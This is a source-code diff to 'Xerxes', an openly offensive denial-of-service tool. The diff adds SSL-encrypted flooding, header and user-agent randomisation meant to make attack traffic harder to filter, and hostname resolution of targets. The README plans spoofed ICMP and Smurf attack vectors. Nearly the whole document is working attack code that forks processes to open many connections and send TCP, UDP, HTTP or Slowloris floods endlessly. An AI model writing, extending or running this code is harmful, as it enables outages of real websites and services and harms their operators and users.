diff --git a/CMakeLists.txt b/CMakeLists.txt index 1dc2fa6..151669f 100644 --- a/CMakeLists.txt +++ b/CMakeLists.txt @@ -4,5 +4,13 @@ project(Xerxes) set(CMAKE_CXX_STANDARD 11) +find_package(PkgConfig REQUIRED) +pkg_search_module(OPENSSL REQUIRED openssl) +if( OPENSSL_FOUND ) + include_directories(${OPENSSL_INCLUDE_DIRS}) + message(STATUS "Using OpenSSL ${OPENSSL_VERSION}") +endif() + add_executable(Xerxes main.cpp Configuration.h Doser.cpp Doser.h Validator.cpp Validator.h Parser.cpp Parser.h Logger.cpp Logger.h) +target_link_libraries(Xerxes ${OPENSSL_LIBRARIES}) add_custom_command(TARGET Xerxes POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy ${CMAKE_SOURCE_DIR}/useragents ${CMAKE_CURRENT_BINARY_DIR}/useragents) \ No newline at end of file diff --git a/Configuration.h b/Configuration.h index b840df4..f8456cf 100644 --- a/Configuration.h +++ b/Configuration.h @@ -17,6 +17,7 @@ struct config{ bool GetResponse{false}; bool RandomizeUserAgent{false}; bool RandomizeHeader{false}; + bool UseSSL{false}; }; diff --git a/Doser.cpp b/Doser.cpp index 16f9d3b..5ea70fe 100644 --- a/Doser.cpp +++ b/Doser.cpp @@ -6,12 +6,13 @@ #include #include #include +#include #include "Doser.h" void Doser::attack(const int *id){ - std::vector sockets; int x, r; + std::vector sockets; std::vector packets; for (x = 0; x < conf->CONNECTIONS; x++) { sockets.push_back(0); @@ -32,7 +33,6 @@ void Doser::attack(const int *id){ r = write_socket(sockets[x], packet.c_str(), static_cast(packet.length())); packets[x] = true; } - if(conf->GetResponse){ read_socket(sockets[x]); } @@ -59,6 +59,64 @@ void Doser::attack(const int *id){ } } +void Doser::attack_ssl(const int *id){ + int x, r; + std::vector sockets; + std::vector packets; + std::vector CTXs; + std::vector SSLs; + for (x = 0; x < conf->CONNECTIONS; x++) { + sockets.push_back(0); + packets.push_back(false); + SSLs.push_back(nullptr); + CTXs.push_back(nullptr); + } + signal(SIGPIPE, &Doser::broke); + while(true) { + static std::string message; + for (x = 0; x < conf->CONNECTIONS; x++) { + if(!sockets[x]){ + sockets[x] = make_socket(conf->website.c_str(), conf->port.c_str()); + CTXs[x] = InitCTX(); + SSLs[x] = Apply_SSL(sockets[x], CTXs[x]); + packets[x] = false; + } + if(conf->vector == config::NullTCP | conf->vector == config::NullUDP){ + r = write_socket(SSLs[x], "\0", 1); + }else{ + std::string packet = craft_packet(packets[x]); + r = write_socket(SSLs[x], packet.c_str(), static_cast(packet.length())); + packets[x] = true; + } + if(conf->GetResponse){ + read_socket(SSLs[x]); + } + if(r == -1){ + SSL_free(SSLs[x]); + close(sockets[x]); + SSL_CTX_free(CTXs[x]); + sockets[x] = make_socket(conf->website.c_str(), conf->port.c_str()); + CTXs[x] = InitCTX(); + SSLs[x] = Apply_SSL(sockets[x], CTXs[x]); + packets[x] = false; + }else{ + message = std::string("Socket[") + std::to_string(x) + "->" + + std::to_string(sockets[x]) + "] -> " + std::to_string(r); + logger->Log(&message, Logger::Info); + message = std::to_string(*id) + ": Voly Sent"; + logger->Log(&message, Logger::Info); + } + } + message = std::to_string(*id) + ": Voly Sent"; + logger->Log(&message, Logger::Info); + if(conf->vector == config::Slowloris){ + usleep(10000000); + }else{ + usleep(30000); + } + } +} + int Doser::make_socket(const char *host, const char *port) { struct addrinfo hints{}, *servinfo, *p; int sock = 0, r; @@ -146,14 +204,26 @@ void Doser::run() { break; default:break; } - + if(conf->UseSSL){ + logger->Log("SSL Enabled", Logger::Info); + } + if(conf->RandomizeHeader){ + logger->Log("Header Randomization Enabled", Logger::Info); + } + if(conf->RandomizeUserAgent){ + logger->Log("Useragent Randomization Enabled", Logger::Info); + } logger->Log("Press to stop\n", Logger::Info); usleep(1000000); for (int x = 0; x < conf->THREADS; x++) { switch (fork()){ case 0:break; default: - attack(&x); + if(conf->UseSSL){ + attack_ssl(&x); + }else{ + attack(&x); + } } usleep(200000); } @@ -177,18 +247,32 @@ void Doser::read_socket(int socket){ } } +void Doser::read_socket(SSL *ssl) { + char chunk[128]; + while(SSL_read(ssl , chunk, 128)){ + memset(chunk , 0 , 128); + } +} + int Doser::write_socket(int socket, const char *string, int length){ return static_cast(write(socket, string, static_cast(length))); } +int Doser::write_socket(SSL *ssl, const char* string, int length){ + return (SSL_write(ssl, string, length)); +} std::string Doser::craft_packet(bool keep_alive){ std::string packet{}; + shuffle(std::begin(encoding), std::end(encoding), std::mt19937(std::random_device()())); + shuffle(std::begin(caching), std::end(caching), std::mt19937(std::random_device()())); + shuffle(std::begin(charset), std::end(charset), std::mt19937(std::random_device()())); + shuffle(std::begin(contenttype), std::end(contenttype), std::mt19937(std::random_device()())); switch(conf->vector){ case config::UDPFlood: case config::TCPFlood: return createStr(); case config::HTTP:{ - packet += "GET /"; + packet += "GET /"; if(conf->RandomizeHeader){ packet += createStr(); } @@ -198,14 +282,21 @@ std::string Doser::craft_packet(bool keep_alive){ }else{ packet += conf->useragents[0]; } - packet+= " \r\nAccept: */*\r\nConnection: Keep-Alive\r\n\r\n"; + packet += " \r\nCache-Control: " + caching[0] + + " \r\nAccept-Encoding: " + encoding[0] + + " \r\nAccept-Charset: " + charset[0] + ", " + charset[1] + + " \r\nAccept: */*\r\nConnection: Keep-Alive" + + " \r\nContent-Type: " + contenttype[0] + + " \r\nCookie: " + createStr() + "=" + createStr() + + " \r\nKeep-Alive: " + std::to_string(randomInt(1, 5000)) + + "\r\n\r\n"; return packet; } case config::Slowloris:{ if(keep_alive){ - packet += "X-a: "; - packet += std::to_string(randomInt(1, 5000)); - packet += " \r\n"; + packet += "X-a: " + + std::to_string(randomInt(1, 5000)) + + " \r\n"; }else{ packet += "GET /"; if(conf->RandomizeHeader){ @@ -217,10 +308,13 @@ std::string Doser::craft_packet(bool keep_alive){ }else{ packet += conf->useragents[0]; } - packet+= " \r\nAccept: */*\r\n"; - packet += "X-a: "; - packet += std::to_string(randomInt(1, 5000)); - packet += " \r\n"; + packet += " \r\nCache-Control: " + caching[0] + + " \r\nAccept-Encoding: " + encoding[0] + + " \r\nAccept-Charset: " + charset[0] + ", " + charset[1] + + " \r\nContent-Type: " + contenttype[0] + + " \r\nCookie: " + createStr() + "=" + createStr() + + " \r\nAccept: */*\r\n" + + "X-a: " + std::to_string(randomInt(1, 5000)) + " \r\n"; } return packet; } @@ -235,3 +329,26 @@ int Doser::randomInt(int min, int max){ std::uniform_int_distribution distribution(min, max); return distribution(engine); } + +SSL_CTX *Doser::InitCTX() { + const SSL_METHOD *method{SSLv3_client_method()}; + SSL_CTX *ctx; + OpenSSL_add_ssl_algorithms(); + SSL_load_error_strings(); + ctx = SSL_CTX_new(method); + if (ctx == nullptr){ + logger->Log("Unable to connect using ssl", Logger::Error); + exit(EXIT_FAILURE); + } + return ctx; +} + +SSL *Doser::Apply_SSL(int socket, SSL_CTX *ctx){ + SSL *ssl = SSL_new(ctx); + SSL_set_fd(ssl, socket); + if(SSL_connect(ssl) == -1){ + logger->Log("Unable to connect using ssl", Logger::Error); + exit(EXIT_FAILURE); + } + return ssl; +} \ No newline at end of file diff --git a/Doser.h b/Doser.h index 6fc67d9..85e2950 100644 --- a/Doser.h +++ b/Doser.h @@ -3,6 +3,8 @@ #include +#include +#include #include "Configuration.h" #include "Logger.h" @@ -14,15 +16,24 @@ class Doser { private: int make_socket(const char *host, const char *port); void read_socket(int socket); + void read_socket(SSL *ssl); int write_socket(int socket, const char* string, int length); + int write_socket(SSL *ssl, const char* string, int length); std::string craft_packet(bool keep_alive=false); static void broke(int); std::string createStr(); int randomInt(int min, int max); void attack(const int *id); + void attack_ssl(const int *id); std::string randomizeUserAgent(); + SSL_CTX* InitCTX(); + SSL *Apply_SSL(int socket, SSL_CTX *ctx); config *conf; Logger *logger; + std::vector encoding{"\'\'", "*", "identity", "gzip", "deflate"}; + std::vector caching{"no-cache", "max-age=0"}; + std::vector charset{"ISO-8859-1", "utf-8", "Windows-1251", "ISO-8859-2", "ISO-8859-15"}; + std::vector contenttype{"multipart/form-data", "application/x-url-encoded"}; }; diff --git a/Parser.cpp b/Parser.cpp index a6c2b25..d782005 100644 --- a/Parser.cpp +++ b/Parser.cpp @@ -12,6 +12,7 @@ void Parser::help() { " -ft set attack vector to TCPFlood\n" " -fu set attack vector to UDPFlood\n" " -s set attack vector to Slowloris\n" + " -ss enable SSL\n" " -w wait for hosts response\n" " -rh randomize HTTP Header\n" " -ru randomize HTTP UserAgent\n" @@ -25,7 +26,7 @@ void Parser::help() { } void Parser::show_banner() { - const std::string version{"v0.0.3"}; + const std::string version{"v0.0.4"}; std::cout << "Xerxes - Revised " << version << std::endl; } @@ -69,8 +70,12 @@ void Parser::parse_commandline(const int *argc, const char *argv[]) { conf->GetResponse = true; break; case 's': - conf->vector = config::Slowloris; - conf->protocol = config::TCP; + if(argv[i][2] == 's'){ + conf->UseSSL = true; + }else{ + conf->vector = config::Slowloris; + conf->protocol = config::TCP; + } break; case 'q': if(argv[i][2] == 'q'){ @@ -79,6 +84,13 @@ void Parser::parse_commandline(const int *argc, const char *argv[]) { logger->setLevel(Logger::Error); } break; + case 'v': + if(argv[i][2] == 'v'){ + logger->setLevel(Logger::Info); + }else{ + logger->setLevel(Logger::Warning); + } + break; default: help(); } diff --git a/README.md b/README.md index 3996091..3d2b726 100644 --- a/README.md +++ b/README.md @@ -14,6 +14,7 @@ Options:\      -ft     set attack vector to TCPFlood\      -fu     set attack vector to UDPFlood\      -s      set attack vector to Slowloris\ +     -ss     enable SSL\      -w      wait for hosts response\      -rh     randomize HTTP Header\      -ru     randomize HTTP UserAgent\ @@ -25,8 +26,7 @@ Options:\ ## Todo
  • Add spoofed ICMP packets support
  • -
  • Add more randomization to http header
  • -
  • Add https support
  • +
  • Add Smurf Attack vector
  • Add more attack vectors
diff --git a/Validator.cpp b/Validator.cpp index dd7919b..cf4788b 100644 --- a/Validator.cpp +++ b/Validator.cpp @@ -1,6 +1,7 @@ #include "Validator.h" #include #include +#include Validator::Validator() = default; @@ -10,8 +11,7 @@ Validator::Validator(const config *conf) : conf{conf} { bool Validator::isValidWebsite(){ struct sockaddr_in sa{}; - int result = inet_pton(AF_INET, conf->website.c_str(), &(sa.sin_addr)); - return static_cast(result); + return (inet_pton(AF_INET, conf->website.c_str(), &(sa.sin_addr))) || isValidHostname(); } bool Validator::isValidPort() { @@ -31,3 +31,8 @@ bool Validator::isValidConfig() { bool Validator::Validate() { return (isValidConfig() & isValidWebsite() & isValidPort()); } + +bool Validator::isValidHostname(){ + hostent *record = gethostbyname(conf->website.c_str()); + return record != nullptr; +} diff --git a/Validator.h b/Validator.h index 4cd9a50..80aab29 100644 --- a/Validator.h +++ b/Validator.h @@ -15,6 +15,7 @@ class Validator { bool isValidWebsite(); bool isValidPort(); bool isValidConfig(); + bool isValidHostname(); };